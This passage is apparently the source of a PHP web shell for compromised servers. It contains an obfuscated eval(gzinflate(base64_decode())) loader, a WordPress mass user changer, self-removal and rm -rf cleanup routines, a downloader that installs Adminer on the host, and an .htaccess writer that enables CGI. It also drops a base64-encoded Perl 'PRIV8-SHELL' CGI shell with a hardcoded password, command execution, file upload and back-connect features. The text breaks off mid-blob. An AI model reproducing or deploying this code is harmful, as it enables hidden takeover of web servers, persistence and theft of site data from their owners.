QyQJUh1QgQ5zr4QDRhMkNUCbIZyCRoXKD/Q2f2eM3BScZdt5GcvFfAhpQCSWZrTXf6lSeeYSy40QHBwLg3M6Zc3hM4vzNACrJgUAnFccp2KQhQ5jPnJsRIkH1LfReMlwqCWLUGFnwxICIKhyCAx9wn9hBUM5YQr5UXz9rO5Ymzd/k3pLH5iLwhk7z8o/2evXJBzAthNLBmdm6OYKasLMP7PvJIipPTnVMB28TAAKd22yCBe0CE92YpGzZ4/sauhxO+GWG2NbLyAEGHhU4+B5BCZkG2ZcP19/K0jEDMq7HBAf732ZQX1lHYVnMX9D+VN6Vc1IqU+V6L6xKgrRqpmxwvqNJEQTge4VTFDea0GM4IineGilW1JHKi0DvBYpfcKRTSccO8/AFek5j0JGSmtweamld8r3eSOQTjuVhL+SrtwC6qCc6CiS0Ap7INEJoFKXjJ4yspUAihnit63uzbJXKfOyUOKX8pnme2UXWK84Z89u+wmXvvzyc4pNw08Su3zLr2kL6fwuVfkob3yGo0yrpNkKtmzsiuDBY50YtSwkrIHmDC4mynxTtv6bYXXKmb6Bvnrp14eyZl6Zl5Vt/TtHjhtqMKuvEPVIpAd7t2/phdf/0SUlXOdbHRtenE3AS5vgltrn32kbu2306tk/o2PfzntljP9pevdrb9/nm38/XIQHfaYA7iRCZvO0hsJxQUwmuWti5AGZk8HQTQy82GxdSPfBGNnvxIx+0Ywi5nPqYhHQdnzoSkm+Om9Zvi3nfDS2Znf1xvNCZkiZPfLl3wunihnKA3aQIMJbMyoApnrhWafuhJ/t5zruejLg8YLZZj/nDiRpVsadb/WLRGrMXCttwdtv75z2Ca2iHFKHNc/nOZsHsZ9KHjHbtSzVc6kBbsyd4yFV+xLP7Hn8Bz52/pCv372OfCsVhPQrZH5l7DVw29NPtgxJK2YhIvdVLc8mQzDzRPIP0o8Azz4zxfQ02zWmLEZRRasBxjusrQMhTJlTYvhmH2tYR81HxpU0PMWqChBmTWFko+aOQYLnAh8WCYES3ewgZyaBs0PHMDwEPzH4I/n6mEePBuOGU3mZmi89AOf9Nh76QlxUaGle+VZoNeJvFEACyJQ8azCeAxP3CT2+k3Vvn2bWkGCv9hik0NsQ9i3NxKkpWoEHP6MDxVsObIBYHxQHRh2QfkUmfhfdIVhWgl3YkyXRAaRz6bN2j13s1rbZjkAzsXDbGKwu0nBd2fn+0tPvt5aqRkASl2VH3ZxeivNojIsIVTlXqsWHkURrS3FudUYCvHGflM5JxKVtZAcnPHsVowtrfgqPrcVGAyEriI3LGWFmi9CdeQ5Jnt1SDlEJswFBbPnDreP75BfQkk1+ghpNQwJKea01aW64HL4jeaOamoqhdLSeBqsbxJbkQI9LYuH30KUJhbbZ8yIuAU+xzJmJm881aU7Ic94Ey9RN/75+JI9CA6JhMK4FPKLWLISjATbr2Ezt1rrIVeMbVhKWEipI7Qz7ltjFGrf69vf/+95C2amuiX86VOcjR+83qY1HhIl7N4HuYqG0YJ/i1bDc4m19WoTS418pZ97Jq8vrl+I3w6gVnM0CbOaFr6gdmpBbZ2sw/jiV64pyY2mYay5996R0c0zvYCF6uILHwYOpNj9LrHC10t8ild8U4s23gDYNv7s9KwD4bnt3Z/GwwP92ZD8Y8G+S9+GnsPxP67mQjbeHuwxfcUTAfIaR67Sy9lBuPSGGLEyvF5Sz4LVsqDPPYyQkjOy3OmW9q3/yml+L6xYK+xhSf+RwzdeJLWn8qQ0zXrU5GR+8gjKaFP2zz7PfXeQMTKdSrzO3RjxaZSdl973NMNYrU1WJpLWatlze9AtdTDqKP9JcMGTCAdd2cABkQMSvO23Fvn78fFKv9U7xV7ciX9NqgcBwJe1LoC9FQ99pggBUPeKcYA\"; \$text = \"Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA==\"; eval (gzinflate(base64_decode(\$text))); exit; ?>");
        echo "<br><center>  <iframe frameBorder=0 src='priv_sym/conf.php' width='900' height='480'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionEdituser()
    {
        hardHeader();
        echo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";
        echo "<br><center>  <iframe frameBorder=0 src='?user' width='900' height='400'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionLogout()
    {
        exec("rm -rf priv_sym priv_cgi adminer.php");
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die("<style>\r\n\tbody {background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style></br></br><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'>bye bye<br><br></form> </body>");
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes') {
            if (@unlink("/var/www/html/input.php")) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST['p1'] != 'yes') {
            hardHeader();
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        hardFooter();
    }
    function actionAdminer()
    {
        hardHeader();
        echo "<center><h1>Adminer</h1><div class=content><br>";
        $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
        function adminer($url, $isi)
        {
            $fp = fopen($isi, "w");
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            return curl_exec($ch);
        }
        if (file_exists('adminer.php')) {
            echo "<center><font color=white><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br><br></font></center>";
        } else {
            if (adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php", "adminer.php")) {
                echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>[ Adminer login ]</a><br><br></font></center>";
            } else {
                echo "<center><font color=red>Failed to create Adminer file</font></center>";
            }
        }
        hardFooter();
    }
    function actionBruteforce()
    {
        hardHeader();
        echo "<center><h1>Cgi Telnet</h1><div class=content><br>";
        $cgi_dir = mkdir('priv_cgi', 0755);
        chdir('priv_cgi');
        $file_cgi = "cgi.priv";
        $memeg = ".htaccess";
        $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .priv \n AddHandler cgi-script .priv \n AddHandler cgi-script .priv";
        $htcgi = fopen(".htaccess", "w");
        $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZTFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9